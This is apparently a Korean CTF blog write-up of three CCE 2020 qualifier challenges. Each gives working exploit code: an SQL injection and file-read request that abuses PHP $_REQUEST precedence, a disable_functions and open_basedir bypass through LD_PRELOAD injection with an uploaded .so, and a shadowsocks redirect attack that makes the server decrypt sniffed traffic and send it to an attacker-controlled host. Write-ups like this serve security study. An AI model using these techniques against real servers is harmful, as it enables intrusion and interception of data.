본문 바로가기
대회

[CCE 2020] 사이버공격방어대회 예선 풀이

by jskimm 2022. 1. 11.
728x90

CMS Again

php의 _REQUEST 변수는 GET, POST 두 메소드를 모두 받을 수 있지만, 두 메소드가 한번에 들어올 경우 POST 메소드가 우선적으로 처리되어 GET 으로 받은 값이 무시된다는 특징이 있습니다.

따라서 위 global filter들을 우회하여 download.php에서 sql injection 취약점을 트리거할 수 있습니다.
from pwn import *
  
p=remote('54.180.79.80',80)
#+union+select+1,2,3,'/var/www/html/flag',5,6,7,8--+-
payload = '''POST /download.php?idx=1'union%20select%201,2,3,'../../../../flag','../../../../../flag',6,7,8--%20 HTTP/1.1
Host: 54.180.79.80
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: PHPSESSID=25255366523a333e1395a3a066395a53
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

idx=60'''.replace('\n', '\r\n')+ ' '*100
p.send(payload)
p.interactive()

nomorephp

원하는 php 코드를 실행할 수 있지만 disable function 및 open_basedir 을 우회하여 원격 코드를 실행해야 합니다.

대부분의 함수가 막혀있으나, tmpfile()로 /tmp 에 파일을 생성한 뒤 stream_get_meta_data와 fputs 를 이용하여 hooking 을 위한 so 파일을 업로드한 뒤 putenv와 error_log 함수를 통해 LD_PRELOAD code injection 을 진행합니다.

import requests
from urllib import quote

lib = open('exploit.so', 'rb').read()

code = '''
$tmp = tmpfile();
$file_name = stream_get_meta_data($tmp)['uri'];
var_dump($file_name);
fputs($tmp, urldecode($_POST['content']));
fclose();
putenv('LD_PRELOAD=' . $file_name);
error_log('', 1, '', '');
'''

data = {'content': quote(lib)}

url = 'http://127.0.0.1/' #local test
url = 'http://3.35.21.44/'
print requests.post(url + '?code=' + quote(code), data=data).text

socks

주어진 config 파일을 서칭하던 중 shadowsock 모듈의 설정 파일인 것을 확인하였습니다.
shadowsock 모듈은 stream cipher 를 사용할 경우 redirect attack에 취약하여 password를 알지 못해도 스니핑한 패킷을 MITM 공격을 통해 복호화하여 공격자의 서버로 전송할 수 있습니다.
 
https://github.com/net4people/bbs/issues/24
https://github.com/edwardz246003/shadowsocks
 
해당 이슈와 코드를 기반으로 Exploit 코드를 작성하였습니다.

 
from scapy.packet import Raw
from scapy.all import rdpcap
import socket
import struct
import time

packets = rdpcap("../p2.pcapng")
pkg_send, pkg_recv = None, None

for p in packets:
    if p['TCP'] and p['TCP'].dport == 8388 and isinstance(p['TCP'].payload, Raw):
        pkg_send = p
    if p['TCP'] and p['TCP'].sport == 8388 and isinstance(p['TCP'].payload, Raw):
        pkg_recv = p

send_iv, send_data = pkg_send['TCP'].payload.load[:16], pkg_send['TCP'].payload.load[16:]
recv_iv, recv_data = pkg_recv['TCP'].payload.load[:16], pkg_recv['TCP'].payload.load[16:]

predict_data = b"HTTP/1."
predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))])

target_ip = "45.76.213.171"
target_port = 8080
fake_header = b'\x01' + socket.inet_pton(socket.AF_INET, target_ip) + bytes(struct.pack('>H', target_port))
fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))])
fake_data = recv_iv + fake_header + recv_data[len(fake_header):]
print(fake_data.hex())

s = socket.socket()

s.connect(("15.165.73.176", 8388))
s.send(fake_data)
print('Tcp sending... ')
time.sleep(3)
s.close()

728x90

댓글